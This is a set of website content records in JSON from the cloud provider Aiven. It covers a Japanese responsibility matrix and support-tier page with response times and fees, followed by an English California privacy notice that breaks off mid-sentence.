{"__i18n_lang":"ja","_createdAt":"2022-09-02T13:32:52Z","_id":"97422fba-5006-46b6-9389-f8d782b04bd5__i18n_ja","_rev":"cOoKElpg4AEXyE6qxNvLNO","_type":"term","_updatedAt":"2023-01-12T05:30:43Z","content":[{"_key":"571998741f63","_type":"block","children":[{"_key":"274513e32fa10","_type":"span","marks":[],"text":"Aiven上でサービスを実行すると、クラウドネイティブインフラ向けの世界最先端の自動化と自己修復アーキテクチャを利用できます。また、Aivenの経験豊富なサポートチームとアカウントチーム(カスタマーサクセスマネージャ、ソリューションアーキテクト)が、Aivenプラットフォームを利用する上での複雑さや、お客様固有の要件に対応します。以下のマトリックスで、ワークロードとチームの成功に必要なものが用意されていることをご確認ください。"}],"markDefs":[],"style":"normal"},{"_key":"46183cd9cd19","_type":"block","children":[{"_key":"11a0ab166d87","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"fe3647841606","_type":"table","rows":[{"_key":"10edd12c-e8f4-4b81-b7aa-f704e9f3cc6b","_type":"tableRow","cells":["","Aivenプラットフォームオートメーション","Aivenサポート*","Aivenアカウントチーム*","お客様/パートナーの責任"]},{"_key":"7e27b85d-2213-47fd-971f-2c49611cf3e3","_type":"tableRow","cells":["インフラのセットアップとプロビジョニング","\u003cp align=\"center\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"bbb03c99-e947-4fcd-b4e1-4602ed849634","_type":"tableRow","cells":["セキュリティとコンプライアンス","\u003cp align=\"center\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"48f36c78-826f-4dbc-840e-1a36316eabb3","_type":"tableRow","cells":["サービス提供状況、AZ分散","\u003cp align=\"center\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"137d1592-4f38-468b-9dff-9536960b1de3","_type":"tableRow","cells":["メンテナンス、バージョンアップ","\u003cp align=\"center\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"bab29baa-d32c-4ef1-bc14-916ca88174eb","_type":"tableRow","cells":["ダウンタイムのないスケーリングとマイグレーション","\u003cp align=\"center\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"98460a66-c803-45d8-a0e2-41bf5e3c0b61","_type":"tableRow","cells":["サポートとチケット処理","","\u003cp align=\"center\"\u003e✓\u003c/p\u003e","",""]},{"_key":"86811fb2-a1fb-41e1-b42f-18d38faeb544","_type":"tableRow","cells":["トラブルシューティング☨","","","\u003cp align=\"center\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\"\u003e✓\u003c/p\u003e"]},{"_key":"7b8a23f0-2dcf-455f-aa8e-da0ef040bfed","_type":"tableRow","cells":["24時間365日のプロアクティブサポート","","\u003cp align=\"center\"\u003e✓\u003c/p\u003e","",""]},{"_key":"9b0037c3-7d8e-425d-9c3f-14bdb7de18e9","_type":"tableRow","cells":["コンプライアンス環境を強化する追加監査","","","\u003cp align=\"center\"\u003e✓\u003c/p\u003e",""]},{"_key":"66604aed-60fe-42ff-984b-8fd93c7a6902","_type":"tableRow","cells":["BYOAセットアップ","","","\u003cp align=\"center\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\"\u003e✓\u003c/p\u003e"]},{"_key":"0517698c-0851-400d-98dd-0a8a3cd0dd62","_type":"tableRow","cells":["サービスのベストプラクティスに関するガイダンスとトレーニング","","","\u003cp align=\"center\"\u003e✓\u003c/p\u003e",""]},{"_key":"d4fa32ce-e9c9-4d65-8c65-234724e65b2a","_type":"tableRow","cells":["Aivenプラットフォームとサービスの最適化","","","\u003cp align=\"center\"\u003e✓\u003c/p\u003e",""]},{"_key":"7b40a5b4-7c31-4380-bc89-4358b124615e","_type":"tableRow","cells":["キャパシティ計画","","","\u003cp align=\"center\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\"\u003e✓\u003c/p\u003e"]},{"_key":"8e8b7805-3bad-4f3a-a4c6-ca30142558e2","_type":"tableRow","cells":["[ディザスタリカバリ](https://docs.aiven.io/docs/platform/concepts/disaster-recovery-test-scenarios)と高可用性対応","","","\u003cp align=\"center\"\u003e✓\u003c/p\u003e",""]},{"_key":"d24c0a54-14fe-4507-9779-ad66bd905980","_type":"tableRow","cells":["宣言されたインシデントのためのカスタマイズされたRCA","","","\u003cp align=\"center\"\u003e✓\u003c/p\u003e",""]},{"_key":"91517c7f-9217-4114-922b-0ea2f7f86a46","_type":"tableRow","cells":["オブザーバビリティ","\u003cp align=\"center\"\u003e✓\u003c/p\u003e","","\u003cp align=\"center\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\"\u003e✓\u003c/p\u003e"]},{"_key":"9903796d-c1d4-4455-bfa1-9c986c4a2e80","_type":"tableRow","cells":["マイグレーション計画","","","\u003cp align=\"center\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\"\u003e✓\u003c/p\u003e"]},{"_key":"ba71b578-f84c-423d-8183-b3f0b03d41f3","_type":"tableRow","cells":["マイグレーション実施","","","","\u003cp align=\"center\"\u003e✓\u003c/p\u003e"]},{"_key":"3f32032a-1a6d-45c9-aa67-84ce1d84b8d1","_type":"tableRow","cells":["アプリケーション/インターフェースの設計と最適化","","","","\u003cp align=\"center\"\u003e✓\u003c/p\u003e"]},{"_key":"39454fbf-474b-43f2-935c-3e53c2ac2de5","_type":"tableRow","cells":["統合テスト","","","","\u003cp align=\"center\"\u003e✓\u003c/p\u003e"]}]},{"_key":"b1fc3806e2b9","_type":"block","children":[{"_key":"5a74c2c5e9c10","_type":"span","marks":[],"text":"Aivenは、開発者やDevOpsチームの成功に必要なリソースへのアクセスをレベルに応じて提供します。Aivenへのアクセスは、オンボードのための専任担当者から、Apache Kafkaなどのオープンソースプロジェクトのコントリビュータへのアクセスまで様々です。Aivenは、ベーシック、プライオリティ、ビジネス、エンタープライズの4レベルのサポートを提供しています。レベルごとに、AivenサポートチームとAivenアカウントチームへのアクセス権が異なります。各レベルの詳細は以下のとおりです。"}],"markDefs":[],"style":"normal"},{"_key":"531fb0506088","_type":"block","children":[{"_key":"773c3b4bf52c0","_type":"span","marks":[],"text":"☨ Aivenアカウントチームは、Avienのサービスまたはプラットフォームの理解と最適化に関わる問題の範囲でトラブルシューティングに参加します。Aivenは、オープンサービスとAivenの付加価値を最大限に活用していただくことを願っています。この目的のために、Aivenアカウントチームは、お客様のコードやアプリケーションの実装に関するトラブルシューティングサービスや専門的なサービスを提供することはできませんが、ヒントや助言を提供させていただきます。"}],"markDefs":[],"style":"normal"},{"_key":"52ce070d434e","_type":"block","children":[{"_key":"dbf298f43ad80","_type":"span","marks":[],"text":"サポート"}],"markDefs":[],"style":"h4"},{"_key":"569588d51223","_type":"block","children":[{"_key":"455a0bcbf4570","_type":"span","marks":[],"text":"開発者とオープンソースデータベースの専門家で構成されるAivenサポートチームは、Aivenプラットフォームの可用性と応答性の最前線であり、緩和、抑制、安定性を目標とするチームは、あらゆる問題をタイムリーに解決します。"}],"markDefs":[],"style":"normal"},{"_key":"3b8fbab77446","_type":"block","children":[{"_key":"310c5c3ca174","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"8bb76457608b","_type":"table","rows":[{"_key":"7b7c7310-213d-4895-bc47-f9e495591179","_type":"tableRow","cells":["サポート","説明"]},{"_key":"7537abf7-ae8c-4781-97e6-f32be082ddde","_type":"tableRow","cells":["**ベーシックサポート** _(翌営業日)_","クリティカルではない安定したワークロードは、ベーシックサポート(翌営業日の対応)での対応になります。"]},{"_key":"d08691d0-909d-487e-a038-ac40c8de6d65","_type":"tableRow","cells":["**プライオリティサポート** _(当日)_","小規模なチームやワークロードに対応する営業日サポートです。一般的に、クリティカルではないワークロードに適しています。"]},{"_key":"d91f9ce1-9620-403d-818f-824cd441a6f0","_type":"tableRow","cells":["**ビジネスサポート** _(TZ内の時間外対応)_","ビジネスサポートは、指定された時間帯内で時間外にも対応します。このレベルは予測される成長規模が小さくワークロードが安定し、セミクリティカルな影響を及ぼす顧客向けアプリケーションに最適です。"]},{"_key":"29ce626c-c210-4733-afe3-db72dd1e6b76","_type":"tableRow","cells":["**エンタープライズサポート** _(24/7/365 + エキスパート)_","クリティカルなワークロードには、エンタープライズサポートが必要です。より早い対応時間で、24時間365日クラウドネイティブ/オープンソースの専門知識に裏付けられたサポートを提供します。ダウンタイムを最小限に抑える必要があるビジネスクリティカルなすべてのワークロードには、エンタープライズレベルのサポートが必要です。Aivenの専門家にアクセスできることにより、サービスのプロアクティブな監視と定期的な見直し、クラウドの混乱に対応できるだけの十分なキャパシティと弾力性を確保できます。"]}]},{"_key":"ff2ebc020dc7","_type":"block","children":[{"_key":"a5dbf6b89fd00","_type":"span","marks":[],"text":"Aivenのアカウントチームは、複雑なマルチリージョン/クラウド環境で大規模インフラを運用した経験を持つクラウドネイティブな業界の専門家で構成されています。チームは、AivenプラットフォームとAivenが提供するオープンソースデータベースの安定性、価値、最適化を実現するためにお客様と共同で作業にあたります。"}],"markDefs":[],"style":"normal"},{"_key":"7a8042f454bc","_type":"block","children":[{"_key":"1eb73d6e89df0","_type":"span","marks":[],"text":"サポートレベルに応じて、定期的/随時にアカウントチームにアクセスし、アカウントチームの専門知識を活用できます。以下のサービスは、上記のサポート機能と組み合わせて同じレベルで提供される点にご留意ください。"}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-07-27T13:19:00.000Z","seo":{"_type":"metaData","metaDescription":"Aivenは、世界をリードする自動化と最先端の自己修復アーキテクチャを備えたクラウドネイティブインフラを提供し、お客様のワークロードとチームが成功するための設定を確実にします。","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}},"metaTitle":"Aivenレスポンシビリティマトリックス"},"slug":{"_type":"slug","current":"/responsibility-matrix"},"title":"Aivenレスポンシビリティマトリックス"} {"__i18n_lang":"ja","_createdAt":"2022-06-06T03:04:37Z","_id":"17d882dc-fcff-4bab-b539-c811e713bfa7__i18n_ja","_rev":"yn3ffGOj7FCOSHAOSj7Kvw","_type":"term","_updatedAt":"2023-06-26T07:09:56Z","content":[{"_key":"75de354f9104","_type":"block","children":[{"_key":"21e86156a5c50","_type":"span","marks":[],"text":"Aivenサポート"}],"markDefs":[],"style":"h2"},{"_key":"e5d9538071c0","_type":"block","children":[{"_key":"b68841a419b90","_type":"span","marks":[],"text":"Aivenは24時間365日体制でクラウドサービスを監視し、サービスの異常は自動的にアラートとしてAivenの担当者に通知されます。Aivenの担当者はシステム運用上の必要に応じて遅滞なく作業を開始します。"}],"markDefs":[],"style":"normal"},{"_key":"60809dde4a83","_type":"block","children":[{"_key":"fcb32ba772fb0","_type":"span","marks":[],"text":"Aivenは、通常のサブスクリプション(すべての有料サービスプランを含む)に対して、追加料金なしで、Aivenクラウドサービスの使用およびアクセスに関連する問題について、当日または翌営業日にベストエフォートにて、メールで回答をお送りするベーシックレベルのサポートを提供しています。たは翌営業日にベストエフォートにて回答をお送りします。"}],"markDefs":[],"style":"normal"},{"_key":"fb93b481a903","_type":"block","children":[{"_key":"a71e794fee88","_type":"span","marks":[],"text":"このサポートサービスの説明は、オンライン契約を利用するお客様にのみ適用されます。"}],"markDefs":[],"style":"normal"},{"_key":"4349e03d0d2a","_type":"block","children":[{"_key":"4f4d990fccda0","_type":"span","marks":[],"text":"サポートレベル"}],"markDefs":[],"style":"h2"},{"_key":"fdc24077b273","_type":"block","children":[{"_key":"2b37d32904b90","_type":"span","marks":[],"text":"Aivenは、上記のベーシックレベル(無料)に加えて、プライオリティ、ビジネス、エンタープライズという3つのレベルを追加で提供しています。電話サポート、12時間サポート、テクニカルアカウントマネージメントなど、コミットメントレベルに応じて様々なレベルのサポートが用意されています。サポートレベルとその特徴は下表のとおりです。Aivenの無料プランを通じてAivenのサービスを利用しているお客様は、どのサポートレベルにおいてもサポートを受けることはできませんが、プロバイダのコミュニティフォーラムでのガイダンスを活用されることをお勧めします。"}],"markDefs":[],"style":"normal"},{"_key":"86f9d78f6e68","_type":"block","children":[{"_key":"c715598e05ca0","_type":"span","marks":[],"text":"具体的なサポート内容については、"},{"_key":"2ae81dfda539","_type":"span","marks":["dc4c4bb6a58a"],"text":"レスポンシビリティページ"},{"_key":"7575f759b80c","_type":"span","marks":[],"text":"をご覧ください。"}],"markDefs":[{"_key":"dc4c4bb6a58a","_type":"internalLink","internalLink":{"_ref":"97422fba-5006-46b6-9389-f8d782b04bd5","_type":"reference"}}],"style":"normal"},{"_key":"d6bfe053773f","_type":"block","children":[{"_key":"a8ac7b89cda40","_type":"span","marks":[],"text":"サポートレベルの説明"}],"markDefs":[],"style":"h3"},{"_key":"2489a6d158e6","_type":"table","rows":[{"_key":"791d74ba-89a0-450e-ab4a-d58479c1ecf9","_type":"tableRow","cells":["","ベーシック","プライオリティ","ビジネス","エンタープライズ"]},{"_key":"2fbe2fff-5f47-428b-8c54-1bd5568b14bc","_type":"tableRow","cells":["12時間メールサポート","当日または翌営業日","あり","あり","あり"]},{"_key":"132b98bc-bfe4-4e9e-8264-855925eb1f72","_type":"tableRow","cells":["チケット管理システム","あり","あり","あり","あり"]},{"_key":"bfa7e8ec-1b3d-48fd-b03b-18e0eba8dcee","_type":"tableRow","cells":["電話サポート","なし","なし","あり(「クリティカル」ケースは営業日24時間対応)","あり(「クリティカル」ケースは24時間365日対応)"]},{"_key":"630617c6-bb4e-4efe-aadb-efaa0e73665e","_type":"tableRow","cells":["サポート可用性","営業日","営業日","営業日は24時間対応","あり(「クリティカル」ケースは24時間365日対応、「高」ケースは営業日24時間対応)*"]}]},{"_key":"2361350371d2","_type":"block","children":[{"_key":"e296f901fc060","_type":"span","marks":["em"],"text":"*Aivenは、週末に受け取った「高」のケースを遅延なく診断します。診断後、重要なビジネスへの影響があると判断されたケースを、Aivenは緊急で対応すべき「クリティカル」なケースにアップグレードする場合があります。"}],"markDefs":[],"style":"normal"},{"_key":"8cecf9016ed8","_type":"block","children":[{"_key":"a6a17109bea5","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"03fb65d34b20","_type":"block","children":[{"_key":"5e7ec85b3af5","_type":"span","marks":[],"text":"Response times by case severity"}],"markDefs":[],"style":"h3"},{"_key":"256e2c9b9565","_type":"table","rows":[{"_key":"b5ce9691-d3dc-4f42-a8f6-4261fada7c78","_type":"tableRow","cells":["ケースの重要度に応じた対応時間","ベーシック","プライオリティ","ビジネス","エンタープライズ"]},{"_key":"1d3ce6a5-0d81-4d3b-ba5e-f7ad97b15292","_type":"tableRow","cells":["低"," 最短翌営業日","12時間","12時間","12時間"]},{"_key":"4c2310ad-b452-4b4c-83aa-2cc9ef757d33","_type":"tableRow","cells":["高"," 最短翌営業日","12時間","1時間","1時間"]},{"_key":"6b22cbff-d3ec-41eb-b899-be12b0701de5","_type":"tableRow","cells":["クリティカル"," 最短低営業日","12時間","15分","15分"]}]},{"_key":"2b5b4775f375","_type":"block","children":[{"_key":"0860edc2d316","_type":"span","marks":["em"],"text":"注:対応時間は、お客様からのサポート依頼に対してAivenのサポート担当者が問題解決に向けて着手するまでの時間を示したものです。問題の複雑さや根本原因は様々であるため、問題が解決されるまでの時間について保証するものではありません。"}],"markDefs":[],"style":"normal"},{"_key":"b5478faa97f2","_type":"block","children":[{"_key":"4aa2a48ac7e10","_type":"span","marks":[],"text":"ケースの重要度の説明"}],"markDefs":[],"style":"h2"},{"_key":"a6ea96c5c6ab","_type":"table","rows":[{"_key":"969f04c4-31d3-4d2e-a10c-9d6b862a5801","_type":"tableRow","cells":[" ケースの重要度"," 説明と例"," サポートチャネル"]},{"_key":"49bf99d2-fd41-4624-bc31-6a29cdb607e4","_type":"tableRow","cells":[" 低:クラウドサービスの主要機能は使用できるが、一部の機能は使用できない。","クラウドサービスの一部の機能が正常に動作しない。クラウドサービスメトリクス、ログ、特定のREST APIリクエストの問題など、クラウドサービス管理に関する軽微な問題が発生した。"," Aiven Webコンソールからサポートチケットを送信する。"]},{"_key":"f33a1a77-d1b4-48eb-8b41-061e6c7d3a93","_type":"tableRow","cells":["高:クラウドサービスの主要な機能は使用できるが、非常に限定されている。","クラウドサービスの主要な機能は動作しているが、重要な副機能が動作していない。サービスの動作に著しい遅延が発生するなど、パフォーマンスに問題が生じている。クラウドサービス管理インターフェースが動作しない(例;お客様が新しいクラウドサービスをプロビジョニングできない)。","Aiven Webコンソールからサポートチケットを送信する。"]},{"_key":"e8c63230-06ac-4f86-b73f-b7a8fba392da","_type":"tableRow","cells":["クリティカル:クラウドサービスの主要機能を使用できない。","カスタマーサービスの主要機能を使用できない。主要なサービスの不具合。回避策なし。","専用サポート電話、またはAivenのWebコンソールからサポートチケットを送信する。エンタープライズサポートまたはビジネスサポートにご加入のお客様は、専用のサポート電話番号を通じてAivenに連絡し、ケースをエスカレーションすることが可能。"]}]},{"_key":"2b35ba8a1bd7","_type":"block","children":[{"_key":"ee52174327890","_type":"span","marks":["em"],"text":"Aivenが「高い」ケースおよび「クリティカル」ケースをタイムリーに解決するためには、お客様のタイムリーな協力が不可欠となります。Aivenとお客様は、各当事者がその義務および責任を適切に果たすことができるよう、必要な情報提供、迅速な承認や検収を行うことなどにより、相互に協力するよう努力します。"}],"markDefs":[],"style":"normal"},{"_key":"30e0d93ac249","_type":"block","children":[{"_key":"d598d47732900","_type":"span","marks":["em"],"text":"お客様による情報提供、承認や検収の不合理な遅延または保留は、Aivenがケースのタイムリーな解決を続行する能力を阻害する可能性があります。お客様による応答またはタイムリーな協力の欠如により、Aivenは、ケースの重大性を引き下げる、またはケースをクローズする場合があります。"}],"markDefs":[],"style":"normal"},{"_key":"b8d94a76ac91","_type":"block","children":[{"_key":"3bba500963e2","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"be642f4dff5d","_type":"block","children":[{"_key":"d775c92f25e8","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"472fa38b2676","_type":"block","children":[{"_key":"5453f510a8f1","_type":"span","marks":[],"text":"サポート料金(月額)"}],"markDefs":[],"style":"h2"},{"_key":"285331116a2e","_type":"table","rows":[{"_key":"1f654f22-33e1-45bf-8840-47684521a6df","_type":"tableRow","cells":["プライオリティ","ビジネス","エンタープライズ"]},{"_key":"2ab52a3c-7398-4756-9b19-1d453d5040d1","_type":"tableRow","cells":["クラウドサービス利用料金の4.5%または500ドル","クラウドサービス利用料金の9%または1,000ドル","クラウドサービス利用料金の18%または2,500ドル"]},{"_key":"be093eff-3f97-4e4a-8fbf-d49f0ad2738c","_type":"tableRow","cells":["どちらか高い方","どちらか高い方","どちらか高い方"]}]},{"_key":"356be8bf33fa","_type":"block","children":[{"_key":"e4b6502ce8040","_type":"span","marks":["em"],"text":"例1:プライオリティサポートの場合、クラウドサービス利用料金は合計5,000ドル。4.5% x 5,000ドル = 225ドル。500ドル未満になるため、サポート料金は月500ドルになります。"}],"markDefs":[],"style":"normal"},{"_key":"ea01ccffdbe4","_type":"block","children":[{"_key":"efb1a00cb22b0","_type":"span","marks":["em"],"text":"例2:プライオリティサポートの場合、クラウドサービス利用料金は合計12,000ドル。4.5% x 12,000ドル = 540ドル。500ドルを超えているため、サポート料金は540ドルになります。"}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-02-08T02:58:00.000Z","seo":{"_type":"metaData","metaDescription":"Aivenの担当者が、24時間365日クラウドサービスを監視しています。異常があれば自動でアラートが発信され、必要な時、すぐにサポートスタッフが介入します。","metaImage":{"_type":"mainImage","alt":"support services meta preview","asset":{"_ref":"image-25d75ec64ecec16985cb970efdd7a1652c0ff95f-476x250-jpg","_type":"reference"}},"metaTitle":"サポートサービス内容 | Aiven"},"slug":{"_type":"slug","current":"/support-services"},"title":"Aivenサポートサービス内容"} {"__i18n_lang":"en","_createdAt":"2023-07-12T06:35:40Z","_id":"67241aaf-6872-4046-ba51-ca6a18c3d9aa","_rev":"liXun5Qglq4dGLky9kNHT0","_type":"term","_updatedAt":"2023-07-24T13:47:33Z","content":[{"_key":"8d1802aa62f7","_type":"block","children":[{"_key":"56837926d4890","_type":"span","marks":[],"text":"This Privacy Notice for California Residents (referred to as \"Privacy Notice\") informs why and how Aiven collects, uses, shares and protects personal information of California residents in compliance with the California Consumer Privacy Act (CCPA) and the California Privacy Rights Act (CPRA)."}],"markDefs":[],"style":"normal"},{"_key":"a0ff062ca98c","_type":"block","children":[{"_key":"1f84e74236ac0","_type":"span","marks":[],"text":"What rights do you have as a California resident?"}],"markDefs":[],"style":"h2"},{"_key":"703ec3931dc5","_type":"block","children":[{"_key":"78a2c1b583530","_type":"span","marks":[],"text":"Under the CCPA and CPRA, you have the following rights regarding your personal information:"}],"markDefs":[],"style":"normal"},{"_key":"61cb3ec2c82a","_type":"block","children":[{"_key":"285980c828390","_type":"span","marks":["strong"],"text":"Right to Know"},{"_key":"285980c828391","_type":"span","marks":[],"text":": You have the right to request information about the categories and specific pieces of personal information we have collected, used, and shared about you in the past 12 months."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0e6003976099","_type":"block","children":[{"_key":"7b932ae292180","_type":"span","marks":["strong"],"text":"Right to Delete"},{"_key":"7b932ae292181","_type":"span","marks":[],"text":": You have the right to request the deletion of your personal information, subject to certain exceptions."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d5a90018a6a0","_type":"block","children":[{"_key":"6d0ac29773190","_type":"span","marks":["strong"],"text":"Right to Opt-Out"},{"_key":"6d0ac29773191","_type":"span","marks":[],"text":": You have the right to opt-out of the sale of your personal information."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"94e04411c231","_type":"block","children":[{"_key":"af8668e2a5ed0","_type":"span","marks":["strong"],"text":"Right to Non-Discrimination"},{"_key":"af8668e2a5ed1","_type":"span","marks":[],"text":": Aiven will not discriminate against you for exercising your privacy rights."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fc8bf1bf3e13","_type":"block","children":[{"_key":"24b20f69809d0","_type":"span","marks":["strong"],"text":"Right to Correct"},{"_key":"24b20f69809d1","_type":"span","marks":[],"text":": You have the right to correct inaccurate personal information."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"af344ed186dc","_type":"block","children":[{"_key":"c7ca7bbf28900","_type":"span","marks":["strong"],"text":"Right to Limit"},{"_key":"c7ca7bbf28901","_type":"span","marks":[],"text":": You have the right to limit the use and disclosure of sensitive personal information."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ba72dcbc6d84","_type":"block","children":[{"_key":"e1bfd999e04a0","_type":"span","marks":[],"text":"How to exercise your rights?"}],"markDefs":[],"style":"h2"},{"_key":"09124708f74b","_type":"block","children":[{"_key":"bea568e47a6d0","_type":"span","marks":[],"text":"To exercise your rights or to ask any questions about this Privacy Notice, please contact us using the information provided below."}],"markDefs":[],"style":"normal"},{"_key":"412fe9f285ca","_type":"block","children":[{"_key":"2fea8f881fa60","_type":"span","marks":[],"text":"California residents have the right to opt out of selling their personal information. This right can be exercised by sending an "},{"_key":"4dfdf9699bd9","_type":"span","marks":["6796f24052c2"],"text":"opt out request through the “Do not sell or share my information”"},{"_key":"9a22eeb4c0ec","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"6796f24052c2","_type":"link","href":"https://aiven.io/privacy/california?m=opt-out"}],"style":"normal"},{"_key":"27a87a1cd192","_type":"block","children":[{"_key":"a8607b38d83b0","_type":"span","marks":[],"text":"The definition of ‘selling’ in California Consumer Privacy Act (CCPA) is broad and includes sharing of information in exchange for anything of value - even when no actual money is related to the matter."}],"markDefs":[],"style":"normal"},{"_key":"06ef3c770725","_type":"block","children":[{"_key":"9b1475d7600e0","_type":"span","marks":[],"text":"In other words, Aiven never sells your personal data but Aiven may share it as described in section “What personal data do we disclose?”. Some of these disclosures occurred in the last 12 months might be considered ‘selling’ under the CCPA."}],"markDefs":[],"style":"normal"},{"_key":"9b0b4f0e8dbf","_type":"block","children":[{"_key":"46515294f5660","_type":"span","marks":[],"text":"In addition to the “Do not sell or share my information”-form, Californian Users can exercise their rights by sending a request to "},{"_key":"e3b501061ead","_type":"span","marks":["2067dcbf25c3"],"text":"privacy@aiven.io"},{"_key":"bd583ad737f1","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"2067dcbf25c3","_type":"link","href":"mailto:privacy@aiven.io"}],"style":"normal"},{"_key":"31caa38d8a93","_type":"block","children":[{"_key":"99bf8bc418600","_type":"span","marks":[],"text":"We may need to verify your identity before processing your request, which may require you to provide additional information."}],"markDefs":[],"style":"normal"},{"_key":"f9c4ae36b32e","_type":"block","children":[{"_key":"1fc7c3c8d20f0","_type":"span","marks":[],"text":"What information we collect?"}],"markDefs":[],"style":"h2"},{"_key":"7831ed73d418","_type":"block","children":[{"_key":"f1b7614fe0d40","_type":"span","marks":[],"text":"We may collect the following categories of personal information:"}],"markDefs":[],"style":"normal"},{"_key":"3ce6d4e5cc33","_type":"block","children":[{"_key":"0fe25bf247c20","_type":"span","marks":["strong"],"text":"Identifiers"},{"_key":"0fe25bf247c21","_type":"span","marks":[],"text":": information of the users of the services provided by us, such as full name, email address, company name, address, phone number, user’s IP address;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"57f941a6ab53","_type":"block","children":[{"_key":"db28a19aab350","_type":"span","marks":["strong"],"text":"Internet or Other Network Information"},{"_key":"db28a19aab351","_type":"span","marks":[],"text":": type and device ID, browser type and version, service access times, statistics on page view and time spent on pages and any other automatically collectible information;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f305b5a5f49b","_type":"block","children":[{"_key":"2b3a68f767ec0","_type":"span","marks":["strong"],"text":"Geolocation data"},{"_key":"2b3a68f767ec1","_type":"span","marks":[],"text":": geographical location based on the IP address;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"32103afda3f5","_type":"block","children":[{"_key":"4414fd486e590","_type":"span","marks":["strong"],"text":"Professional and Employment Information"},{"_key":"4414fd486e591","_type":"span","marks":[],"text":": such as prospects’ job title and company name;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"af1d2a249120","_type":"block","children":[{"_key":"e9d73c8be0a50","_type":"span","marks":["strong"],"text":"Commercial Information"},{"_key":"e9d73c8be0a51","_type":"span","marks":[],"text":": customer relationship details, such as the contract between Aiven and the customer, start and end date of customer relationship and services ordered; billing information, such as credit card details, bank account information, payments made, outstanding invoices, and invoices delivered; customer interaction, such as customer contracts, feedback and complaints; interaction in the Aiven Community forum, such as messages sent in the Community forum; marketing communications;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"df8b1af503a9","_type":"block","children":[{"_key":"27f7a87a7d8a0","_type":"span","marks":["strong"],"text":"Personal Records"},{"_key":"27f7a87a7d8a1","_type":"span","marks":[],"text":": signatures from customer contracts;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"23c70e1bf14d","_type":"block","children":[{"_key":"79a8523953030","_type":"span","marks":["strong"],"text":"Sensory Information"},{"_key":"79a8523953031","_type":"span","marks":[],"text":": certain customer calls; and"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"68904265b83d","_type":"block","children":[{"_key":"327a4953f3cf0","_type":"span","marks":["strong"],"text":"Inferences"},{"_key":"327a4953f3cf1","_type":"span","marks":[],"text":": certain data collected with cookies."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"777f190553b2","_type":"block","children":[{"_key":"74e777ea66510","_type":"span","marks":[],"text":"Aiven collects this information directly from you when you use Aiven services or interact in the Aiven Community forum, Aiven staff at events, or automatically through our website."}],"markDefs":[],"style":"normal"},{"_key":"87a10e264775","_type":"block","children":[{"_key":"742c99a2a9a90","_type":"span","marks":[],"text":"For what purpose we process personal information?"}],"markDefs":[],"style":"h2"},{"_key":"a51d202a46b6","_type":"block","children":[{"_key":"ce185ae3c71d0","_type":"span","marks":[],"text":"We use personal information for the following purposes:"}],"markDefs":[],"style":"normal"},{"_key":"a1acbfb9982b","_type":"block","children":[{"_key":"1ce6fce866490","_type":"span","marks":[],"text":"Performing business transactions by providing our services;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"36705246d710","_type":"block","children":[{"_key":"786a07aa1b1d0","_type":"span","marks":[],"text":"Providing a requested service such as customer support or other requests;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c4b52cefc8fa","_type":"block","children":[{"_key":"88586c02ff0b0","_type":"span","marks":[],"text":"Protecting security and functionality by detecting and preventing fraudulent or illegal activities;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5320ec65e811","_type":"block","children":[{"_key":"a24d0dc0f7f70","_type":"span","marks":[],"text":"Improving our products and services by analyzing usage patterns and obtaining customer feedback;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f33317fe2910","_type":"block","children":[{"_key":"bec453c7c0510","_type":"span","marks":[],"text":"Personalizing user experience by using the User’s preferences and interactions with our services such as personalized content or advertisements; and"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b521eefa71c7","_type":"block","children":[{"_key":"b06543db2abf0","_type":"span","marks":[],"text":"Complying with legal obligations and other regulatory requirements such as accounting, record keeping and reporting obligations."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fb441a7f9a64","_type":"block","children":[{"_key":"266f0ffa38450","_type":"span","marks":[],"text":"To whom we share your information with?"}],"markDefs":[],"style":"h2"},{"_key":"b206d0bd0f82","_type":"block","children":[{"_key":"850ef6787fe30","_type":"span","marks":[],"text":"We may share personal information with the following categories of third parties for business 